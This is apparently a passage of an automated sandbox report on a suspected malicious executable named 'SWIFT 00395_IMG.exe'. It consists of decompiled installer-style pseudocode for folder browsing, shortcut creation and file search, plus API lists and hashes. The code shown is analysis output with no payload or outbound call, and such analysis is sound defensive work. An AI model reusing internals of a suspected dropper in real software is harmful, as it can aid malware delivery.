                                                                                    • CloseClipboard.USER32 ref: 00405808
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                                                    • String ID: PB
                                                                                    • API String ID: 590372296-3196168531
                                                                                    • Opcode ID: bc35d437d32a5d9e0c2e08b7534ebc779b05656c8fefaf435ff26a8f2e4e9d86
                                                                                    • Instruction ID: 9c2a32fab53b6b0d4bb0e075a5e6b47c54eb8059f7c6cc06f8c9c6988e8d3156
                                                                                    • Opcode Fuzzy Hash: bc35d437d32a5d9e0c2e08b7534ebc779b05656c8fefaf435ff26a8f2e4e9d86
                                                                                    • Instruction Fuzzy Hash: 42A16C71A00608BFDB119FA0DE85AAE7BB9FB48354F40403AFA44B61A0CB794E51DF58
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 78%
                                                                                    			E0040473E(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
                                                                                    				signed int _v8;
                                                                                    				signed int _v12;
                                                                                    				long _v16;
                                                                                    				long _v20;
                                                                                    				long _v24;
                                                                                    				char _v28;
                                                                                    				intOrPtr _v32;
                                                                                    				long _v36;
                                                                                    				char _v40;
                                                                                    				unsigned int _v44;
                                                                                    				signed int _v48;
                                                                                    				CHAR* _v56;
                                                                                    				intOrPtr _v60;
                                                                                    				intOrPtr _v64;
                                                                                    				intOrPtr _v68;
                                                                                    				CHAR* _v72;
                                                                                    				void _v76;
                                                                                    				struct HWND__* _v80;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				intOrPtr _t82;
                                                                                    				long _t87;
                                                                                    				signed char* _t89;
                                                                                    				void* _t95;
                                                                                    				signed int _t96;
                                                                                    				int _t109;
                                                                                    				signed char _t114;
                                                                                    				signed int _t118;
                                                                                    				struct HWND__** _t122;
                                                                                    				intOrPtr* _t138;
                                                                                    				CHAR* _t146;
                                                                                    				intOrPtr _t147;
                                                                                    				unsigned int _t150;
                                                                                    				signed int _t152;
                                                                                    				unsigned int _t156;
                                                                                    				signed int _t158;
                                                                                    				signed int* _t159;
                                                                                    				signed char* _t160;
                                                                                    				struct HWND__* _t165;
                                                                                    				struct HWND__* _t166;
                                                                                    				int _t168;
                                                                                    				unsigned int _t197;
                                                                                    
                                                                                    				_t156 = __edx;
                                                                                    				_t82 =  *0x420528;
                                                                                    				_v32 = _t82;
                                                                                    				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x425000;
                                                                                    				_v12 =  *((intOrPtr*)(_t82 + 0x38));
                                                                                    				if(_a8 == 0x40b) {
                                                                                    					E00405928(0x3fb, _t146);
                                                                                    					E00406503(_t146);
                                                                                    				}
                                                                                    				_t166 = _a4;
                                                                                    				if(_a8 != 0x110) {
                                                                                    					L8:
                                                                                    					if(_a8 != 0x111) {
                                                                                    						L20:
                                                                                    						if(_a8 == 0x40f) {
                                                                                    							L22:
                                                                                    							_v8 = _v8 & 0x00000000;
                                                                                    							_v12 = _v12 & 0x00000000;
                                                                                    							E00405928(0x3fb, _t146);
                                                                                    							if(E00405CAE(_t185, _t146) == 0) {
                                                                                    								_v8 = 1;
                                                                                    							}
                                                                                    							E00406228(0x41fd20, _t146);
                                                                                    							_t87 = E00406631(1);
                                                                                    							_v16 = _t87;
                                                                                    							if(_t87 == 0) {
                                                                                    								L30:
                                                                                    								E00406228(0x41fd20, _t146);
                                                                                    								_t89 = E00405C59(0x41fd20);
                                                                                    								_t158 = 0;
                                                                                    								if(_t89 != 0) {
                                                                                    									 *_t89 =  *_t89 & 0x00000000;
                                                                                    								}
                                                                                    								if(GetDiskFreeSpaceA(0x41fd20,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
                                                                                    									goto L35;
                                                                                    								} else {
                                                                                    									_t168 = 0x400;
                                                                                    									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
                                                                                    									asm("cdq");
                                                                                    									_v48 = _t109;
                                                                                    									_v44 = _t156;
                                                                                    									_v12 = 1;
                                                                                    									goto L36;
                                                                                    								}
                                                                                    							} else {
                                                                                    								_t159 = 0;
                                                                                    								if(0 == 0x41fd20) {
                                                                                    									goto L30;
                                                                                    								} else {
                                                                                    									goto L26;
                                                                                    								}
                                                                                    								while(1) {
                                                                                    									L26:
                                                                                    									_t114 = _v16(0x41fd20,  &_v48,  &_v28,  &_v40);
                                                                                    									if(_t114 != 0) {
                                                                                    										break;
                                                                                    									}
                                                                                    									if(_t159 != 0) {
                                                                                    										 *_t159 =  *_t159 & _t114;
                                                                                    									}
                                                                                    									_t160 = E00405C07(0x41fd20);
                                                                                    									 *_t160 =  *_t160 & 0x00000000;
                                                                                    									_t159 = _t160 - 1;
                                                                                    									 *_t159 = 0x5c;
                                                                                    									if(_t159 != 0x41fd20) {
                                                                                    										continue;
                                                                                    									} else {
                                                                                    										goto L30;
                                                                                    									}
                                                                                    								}
                                                                                    								_t150 = _v44;
                                                                                    								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
                                                                                    								_v44 = _t150 >> 0xa;
                                                                                    								_v12 = 1;
                                                                                    								_t158 = 0;
                                                                                    								__eflags = 0;
                                                                                    								L35:
                                                                                    								_t168 = 0x400;
                                                                                    								L36:
                                                                                    								_t95 = E00404BD2(5);
                                                                                    								if(_v12 != _t158) {
                                                                                    									_t197 = _v44;
                                                                                    									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
                                                                                    										_v8 = 2;
                                                                                    									}
                                                                                    								}
                                                                                    								_t147 =  *0x423f1c; // 0x78d409
                                                                                    								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
                                                                                    									E00404BBA(0x3ff, 0xfffffffb, _t95);
                                                                                    									if(_v12 == _t158) {
                                                                                    										SetDlgItemTextA(_a4, _t168, 0x41fd10);
                                                                                    									} else {
                                                                                    										E00404AF5(_t168, 0xfffffffc, _v48, _v44);
                                                                                    									}
                                                                                    								}
                                                                                    								_t96 = _v8;
                                                                                    								 *0x424804 = _t96;
                                                                                    								if(_t96 == _t158) {
                                                                                    									_v8 = E0040140B(7);
                                                                                    								}
                                                                                    								if(( *(_v32 + 0x14) & _t168) != 0) {
                                                                                    									_v8 = _t158;
                                                                                    								}
                                                                                    								E004042CE(0 | _v8 == _t158);
                                                                                    								if(_v8 == _t158 &&  *0x420d40 == _t158) {
                                                                                    									E00404697();
                                                                                    								}
                                                                                    								 *0x420d40 = _t158;
                                                                                    								goto L53;
                                                                                    							}
                                                                                    						}
                                                                                    						_t185 = _a8 - 0x405;
                                                                                    						if(_a8 != 0x405) {
                                                                                    							goto L53;
                                                                                    						}
                                                                                    						goto L22;
                                                                                    					}
                                                                                    					_t118 = _a12 & 0x0000ffff;
                                                                                    					if(_t118 != 0x3fb) {
                                                                                    						L12:
                                                                                    						if(_t118 == 0x3e9) {
                                                                                    							_t152 = 7;
                                                                                    							memset( &_v76, 0, _t152 << 2);
                                                                                    							_v80 = _t166;
                                                                                    							_v72 = 0x420d50;
                                                                                    							_v60 = E00404A8F;
                                                                                    							_v56 = _t146;
                                                                                    							_v68 = E004062BB(_t146, 0x420d50, _t166, 0x420128, _v12);
                                                                                    							_t122 =  &_v80;
                                                                                    							_v64 = 0x41;
                                                                                    							__imp__SHBrowseForFolderA(_t122);
                                                                                    							if(_t122 == 0) {
                                                                                    								_a8 = 0x40f;
                                                                                    							} else {
                                                                                    								__imp__CoTaskMemFree(_t122);
                                                                                    								E00405BC0(_t146);
                                                                                    								_t125 =  *((intOrPtr*)( *0x424754 + 0x11c));
                                                                                    								if( *((intOrPtr*)( *0x424754 + 0x11c)) != 0 && _t146 == "C:\\Users\\jones\\AppData\\Local\\Temp") {
                                                                                    									E004062BB(_t146, 0x420d50, _t166, 0, _t125);
                                                                                    									if(lstrcmpiA(0x4236e0, 0x420d50) != 0) {
                                                                                    										lstrcatA(_t146, 0x4236e0);
                                                                                    									}
                                                                                    								}
                                                                                    								 *0x420d40 =  *0x420d40 + 1;
                                                                                    								SetDlgItemTextA(_t166, 0x3fb, _t146);
                                                                                    							}
                                                                                    						}
                                                                                    						goto L20;
                                                                                    					}
                                                                                    					if(_a12 >> 0x10 != 0x300) {
                                                                                    						goto L53;
                                                                                    					}
                                                                                    					_a8 = 0x40f;
                                                                                    					goto L12;
                                                                                    				} else {
                                                                                    					_t165 = GetDlgItem(_t166, 0x3fb);
                                                                                    					if(E00405C2D(_t146) != 0 && E00405C59(_t146) == 0) {
                                                                                    						E00405BC0(_t146);
                                                                                    					}
                                                                                    					 *0x423f18 = _t166;
                                                                                    					SetWindowTextA(_t165, _t146);
                                                                                    					_push( *((intOrPtr*)(_a16 + 0x34)));
                                                                                    					_push(1);
                                                                                    					E004042AC(_t166);
                                                                                    					_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                                    					_push(0x14);
                                                                                    					E004042AC(_t166);
                                                                                    					E004042E1(_t165);
                                                                                    					_t138 = E00406631(8);
                                                                                    					if(_t138 == 0) {
                                                                                    						L53:
                                                                                    						return E00404313(_a8, _a12, _a16);
                                                                                    					} else {
                                                                                    						 *_t138(_t165, 1);
                                                                                    						goto L8;
                                                                                    					}
                                                                                    				}
                                                                                    			}














































                                                                                    0x0040473e
                                                                                    0x00404744
                                                                                    0x0040474a
                                                                                    0x00404757
                                                                                    0x00404765
                                                                                    0x00404768
                                                                                    0x00404770
                                                                                    0x00404776
                                                                                    0x00404776
                                                                                    0x00404782
                                                                                    0x00404785
                                                                                    0x004047f3
                                                                                    0x004047fa
                                                                                    0x004048d1
                                                                                    0x004048d8
                                                                                    0x004048e7
                                                                                    0x004048e7
                                                                                    0x004048eb
                                                                                    0x004048f5
                                                                                    0x00404902
                                                                                    0x00404904
                                                                                    0x00404904
                                                                                    0x00404912
                                                                                    0x00404919
                                                                                    0x00404920
                                                                                    0x00404923
                                                                                    0x0040495a
                                                                                    0x0040495c
                                                                                    0x00404962
                                                                                    0x00404967
                                                                                    0x0040496b
                                                                                    0x0040496d
                                                                                    0x0040496d
                                                                                    0x00404989
                                                                                    0x00000000
                                                                                    0x0040498b
                                                                                    0x0040498e
                                                                                    0x0040499c
                                                                                    0x004049a2
                                                                                    0x004049a3
                                                                                    0x004049a6
                                                                                    0x004049a9
                                                                                    0x00000000
                                                                                    0x004049a9
                                                                                    0x00404925
                                                                                    0x00404927
                                                                                    0x0040492b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040492d
                                                                                    0x0040492d
                                                                                    0x0040493a
                                                                                    0x0040493f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404943
                                                                                    0x00404945
                                                                                    0x00404945
                                                                                    0x0040494d
                                                                                    0x0040494f
                                                                                    0x00404952
                                                                                    0x00404955
                                                                                    0x00404958
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404958
                                                                                    0x004049b5
                                                                                    0x004049bf
                                                                                    0x004049c2
                                                                                    0x004049c5
                                                                                    0x004049cc
                                                                                    0x004049cc
                                                                                    0x004049ce
                                                                                    0x004049ce
                                                                                    0x004049d3
                                                                                    0x004049d5
                                                                                    0x004049dd
                                                                                    0x004049e4
                                                                                    0x004049e6
                                                                                    0x004049f1
                                                                                    0x004049f1
                                                                                    0x004049e6
                                                                                    0x004049f8
                                                                                    0x00404a01
                                                                                    0x00404a0b
                                                                                    0x00404a13
                                                                                    0x00404a2e
                                                                                    0x00404a15
                                                                                    0x00404a1e
                                                                                    0x00404a1e
                                                                                    0x00404a13
                                                                                    0x00404a33
                                                                                    0x00404a38
                                                                                    0x00404a3d
                                                                                    0x00404a46
                                                                                    0x00404a46
                                                                                    0x00404a4f
                                                                                    0x00404a51
                                                                                    0x00404a51
                                                                                    0x00404a5d
                                                                                    0x00404a65
                                                                                    0x00404a6f
                                                                                    0x00404a6f
                                                                                    0x00404a74
                                                                                    0x00000000
                                                                                    0x00404a74
                                                                                    0x00404923
                                                                                    0x004048da
                                                                                    0x004048e1
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004048e1
                                                                                    0x00404800
                                                                                    0x00404809
                                                                                    0x00404823
                                                                                    0x00404828
                                                                                    0x00404832
                                                                                    0x00404839
                                                                                    0x00404845
                                                                                    0x00404848
                                                                                    0x0040484b
                                                                                    0x00404852
                                                                                    0x0040485a
                                                                                    0x0040485d
                                                                                    0x00404861
                                                                                    0x00404868
                                                                                    0x00404870
                                                                                    0x004048ca
                                                                                    0x00404872
                                                                                    0x00404873
                                                                                    0x0040487a
                                                                                    0x00404884
                                                                                    0x0040488c
                                                                                    0x00404899
                                                                                    0x004048ad
                                                                                    0x004048b1
                                                                                    0x004048b1
                                                                                    0x004048ad
                                                                                    0x004048b6
                                                                                    0x004048c3
                                                                                    0x004048c3
                                                                                    0x00404870
                                                                                    0x00000000
                                                                                    0x00404828
                                                                                    0x00404816
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040481c
                                                                                    0x00000000
                                                                                    0x00404787
                                                                                    0x00404794
                                                                                    0x0040479d
                                                                                    0x004047aa
                                                                                    0x004047aa
                                                                                    0x004047b1
                                                                                    0x004047b7
                                                                                    0x004047c0
                                                                                    0x004047c3
                                                                                    0x004047c6
                                                                                    0x004047ce
                                                                                    0x004047d1
                                                                                    0x004047d4
                                                                                    0x004047da
                                                                                    0x004047e1
                                                                                    0x004047e8
                                                                                    0x00404a7a
                                                                                    0x00404a8c
                                                                                    0x004047ee
                                                                                    0x004047f1
                                                                                    0x00000000
                                                                                    0x004047f1
                                                                                    0x004047e8

                                                                                    APIs
                                                                                    • GetDlgItem.USER32 ref: 0040478D
                                                                                    • SetWindowTextA.USER32(00000000,?), ref: 004047B7
                                                                                    • SHBrowseForFolderA.SHELL32(?,00420128,?), ref: 00404868
                                                                                    • CoTaskMemFree.OLE32(00000000), ref: 00404873
                                                                                    • lstrcmpiA.KERNEL32(uvlcopdlxoed,00420D50,00000000,?,?), ref: 004048A5
                                                                                    • lstrcatA.KERNEL32(?,uvlcopdlxoed), ref: 004048B1
                                                                                    • SetDlgItemTextA.USER32 ref: 004048C3
                                                                                      • Part of subcall function 00405928: GetDlgItemTextA.USER32 ref: 0040593B
                                                                                      • Part of subcall function 00406503: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040655B
                                                                                      • Part of subcall function 00406503: CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406568
                                                                                      • Part of subcall function 00406503: CharNextA.USER32(?,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040656D
                                                                                      • Part of subcall function 00406503: CharPrevA.USER32(?,?,73BCFA90,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040657D
                                                                                    • GetDiskFreeSpaceA.KERNEL32(0041FD20,?,?,0000040F,?,0041FD20,0041FD20,?,00000001,0041FD20,?,?,000003FB,?), ref: 00404981
                                                                                    • MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040499C
                                                                                      • Part of subcall function 00404AF5: lstrlenA.KERNEL32(00420D50,00420D50,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A10,000000DF,00000000,00000400,?), ref: 00404B93
                                                                                      • Part of subcall function 00404AF5: wsprintfA.USER32 ref: 00404B9B
                                                                                      • Part of subcall function 00404AF5: SetDlgItemTextA.USER32 ref: 00404BAE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                                                    • String ID: A$C:\Users\user\AppData\Local\Temp$PB$uvlcopdlxoed
                                                                                    • API String ID: 2624150263-1960534613
                                                                                    • Opcode ID: 5adcc52e68fc45daf65e39649d90cf7ffccb25418fea71ff199c700a68887fff
                                                                                    • Instruction ID: 829ad80b7ad659a1b6830b16dd2e7c43b5ac75723c1b4fdd6e47fb9b3f087a68
                                                                                    • Opcode Fuzzy Hash: 5adcc52e68fc45daf65e39649d90cf7ffccb25418fea71ff199c700a68887fff
                                                                                    • Instruction Fuzzy Hash: 48A18FB1A00209ABDB11EFA5DD45AAF7BB8EF84314F10843BF601B62D1D77C99418B6D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 74%
                                                                                    			E0040216B(void* __eflags) {
                                                                                    				signed int _t55;
                                                                                    				void* _t59;
                                                                                    				intOrPtr* _t63;
                                                                                    				intOrPtr _t64;
                                                                                    				intOrPtr* _t65;
                                                                                    				intOrPtr* _t67;
                                                                                    				intOrPtr* _t69;
                                                                                    				intOrPtr* _t71;
                                                                                    				intOrPtr* _t73;
                                                                                    				intOrPtr* _t75;
                                                                                    				intOrPtr* _t78;
                                                                                    				intOrPtr* _t80;
                                                                                    				intOrPtr* _t82;
                                                                                    				intOrPtr* _t84;
                                                                                    				int _t87;
                                                                                    				intOrPtr* _t95;
                                                                                    				signed int _t105;
                                                                                    				signed int _t109;
                                                                                    				void* _t111;
                                                                                    
                                                                                    				 *(_t111 - 0x38) = E00402BCE(0xfffffff0);
                                                                                    				 *(_t111 - 0xc) = E00402BCE(0xffffffdf);
                                                                                    				 *((intOrPtr*)(_t111 - 0x88)) = E00402BCE(2);
                                                                                    				 *((intOrPtr*)(_t111 - 0x34)) = E00402BCE(0xffffffcd);
                                                                                    				 *((intOrPtr*)(_t111 - 0x78)) = E00402BCE(0x45);
                                                                                    				_t55 =  *(_t111 - 0x18);
                                                                                    				 *(_t111 - 0x90) = _t55 & 0x00000fff;
                                                                                    				_t105 = _t55 & 0x00008000;
                                                                                    				_t109 = _t55 >> 0x0000000c & 0x00000007;
                                                                                    				 *(_t111 - 0x74) = _t55 >> 0x00000010 & 0x0000ffff;
                                                                                    				if(E00405C2D( *(_t111 - 0xc)) == 0) {
                                                                                    					E00402BCE(0x21);
                                                                                    				}
                                                                                    				_t59 = _t111 + 8;
                                                                                    				__imp__CoCreateInstance(0x408418, _t87, 1, 0x408408, _t59);
                                                                                    				if(_t59 < _t87) {
                                                                                    					L15:
                                                                                    					 *((intOrPtr*)(_t111 - 4)) = 1;
                                                                                    					_push(0xfffffff0);
                                                                                    				} else {
                                                                                    					_t63 =  *((intOrPtr*)(_t111 + 8));
                                                                                    					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x408428, _t111 - 0x30);
                                                                                    					 *((intOrPtr*)(_t111 - 8)) = _t64;
                                                                                    					if(_t64 >= _t87) {
                                                                                    						_t67 =  *((intOrPtr*)(_t111 + 8));
                                                                                    						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
                                                                                    						if(_t105 == _t87) {
                                                                                    							_t84 =  *((intOrPtr*)(_t111 + 8));
                                                                                    							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Users\\jones\\AppData\\Local\\Temp");
                                                                                    						}
                                                                                    						if(_t109 != _t87) {
                                                                                    							_t82 =  *((intOrPtr*)(_t111 + 8));
                                                                                    							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
                                                                                    						}
                                                                                    						_t69 =  *((intOrPtr*)(_t111 + 8));
                                                                                    						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x74));
                                                                                    						_t95 =  *((intOrPtr*)(_t111 - 0x34));
                                                                                    						if( *_t95 != _t87) {
                                                                                    							_t80 =  *((intOrPtr*)(_t111 + 8));
                                                                                    							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x90));
                                                                                    						}
                                                                                    						_t71 =  *((intOrPtr*)(_t111 + 8));
                                                                                    						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x88)));
                                                                                    						_t73 =  *((intOrPtr*)(_t111 + 8));
                                                                                    						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x78)));
                                                                                    						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
                                                                                    							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
                                                                                    							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x38), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
                                                                                    								_t78 =  *((intOrPtr*)(_t111 - 0x30));
                                                                                    								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), 1);
                                                                                    							}
                                                                                    						}
                                                                                    						_t75 =  *((intOrPtr*)(_t111 - 0x30));
                                                                                    						 *((intOrPtr*)( *_t75 + 8))(_t75);
                                                                                    					}
                                                                                    					_t65 =  *((intOrPtr*)(_t111 + 8));
                                                                                    					 *((intOrPtr*)( *_t65 + 8))(_t65);
                                                                                    					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
                                                                                    						_push(0xfffffff4);
                                                                                    					} else {
                                                                                    						goto L15;
                                                                                    					}
                                                                                    				}
                                                                                    				E00401423();
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t111 - 4));
                                                                                    				return 0;
                                                                                    			}






















                                                                                    0x00402174
                                                                                    0x0040217e
                                                                                    0x00402188
                                                                                    0x00402195
                                                                                    0x004021a0
                                                                                    0x004021a3
                                                                                    0x004021bd
                                                                                    0x004021c3
                                                                                    0x004021c9
                                                                                    0x004021cc
                                                                                    0x004021d6
                                                                                    0x004021da
                                                                                    0x004021da
                                                                                    0x004021df
                                                                                    0x004021f0
                                                                                    0x004021f8
                                                                                    0x004022d4
                                                                                    0x004022d4
                                                                                    0x004022db
                                                                                    0x004021fe
                                                                                    0x004021fe
                                                                                    0x0040220d
                                                                                    0x00402211
                                                                                    0x00402214
                                                                                    0x0040221a
                                                                                    0x00402228
                                                                                    0x0040222b
                                                                                    0x0040222d
                                                                                    0x00402238
                                                                                    0x00402238
                                                                                    0x0040223d
                                                                                    0x0040223f
                                                                                    0x00402246
                                                                                    0x00402246
                                                                                    0x00402249
                                                                                    0x00402252
                                                                                    0x00402255
                                                                                    0x0040225a
                                                                                    0x0040225c
                                                                                    0x00402269
                                                                                    0x00402269
                                                                                    0x0040226c
                                                                                    0x00402278
                                                                                    0x0040227b
                                                                                    0x00402284
                                                                                    0x0040228a
                                                                                    0x00402291
                                                                                    0x004022aa
                                                                                    0x004022ac
                                                                                    0x004022ba
                                                                                    0x004022ba
                                                                                    0x004022aa
                                                                                    0x004022bd
                                                                                    0x004022c3
                                                                                    0x004022c3
                                                                                    0x004022c6
                                                                                    0x004022cc
                                                                                    0x004022d2
                                                                                    0x004022e7
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004022d2
                                                                                    0x004022dd
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    • CoCreateInstance.OLE32(00408418,?,00000001,00408408,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F0
                                                                                    • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408408,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004022A2
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp, xrefs: 00402230
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: ByteCharCreateInstanceMultiWide
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp
                                                                                    • API String ID: 123533781-47812868
                                                                                    • Opcode ID: b8edfd5adafe673e92bf7c77ec57b049cfece64d8502f07e39ea1df42828875f
                                                                                    • Instruction ID: 849b10897e6abda320580ec11bca4de19dcbd678575eb1056a8185fe26502568
                                                                                    • Opcode Fuzzy Hash: b8edfd5adafe673e92bf7c77ec57b049cfece64d8502f07e39ea1df42828875f
                                                                                    • Instruction Fuzzy Hash: BC510671A00208AFCB00DFE4C988A9D7BB6EF48314F2045BAF515EB2D1DA799981CB14
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 39%
                                                                                    			E004027A1(char __ebx, char* __edi, char* __esi) {
                                                                                    				void* _t19;
                                                                                    
                                                                                    				if(FindFirstFileA(E00402BCE(2), _t19 - 0x1d0) != 0xffffffff) {
                                                                                    					E00406186(__edi, _t6);
                                                                                    					_push(_t19 - 0x1a4);
                                                                                    					_push(__esi);
                                                                                    					E00406228();
                                                                                    				} else {
                                                                                    					 *__edi = __ebx;
                                                                                    					 *__esi = __ebx;
                                                                                    					 *((intOrPtr*)(_t19 - 4)) = 1;
                                                                                    				}
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t19 - 4));
                                                                                    				return 0;
                                                                                    			}




                                                                                    0x004027b9
                                                                                    0x004027cd
                                                                                    0x004027d8
                                                                                    0x004027d9
                                                                                    0x00402918
                                                                                    0x004027bb
                                                                                    0x004027bb
                                                                                    0x004027bd
                                                                                    0x004027bf
                                                                                    0x004027bf
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    • FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 004027B0
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FileFindFirst
                                                                                    • String ID:
                                                                                    • API String ID: 1974802433-0
                                                                                    • Opcode ID: a2663e28504c86572081c005267ca85bcb47b559b3db158810a8a5f7ec55b55d
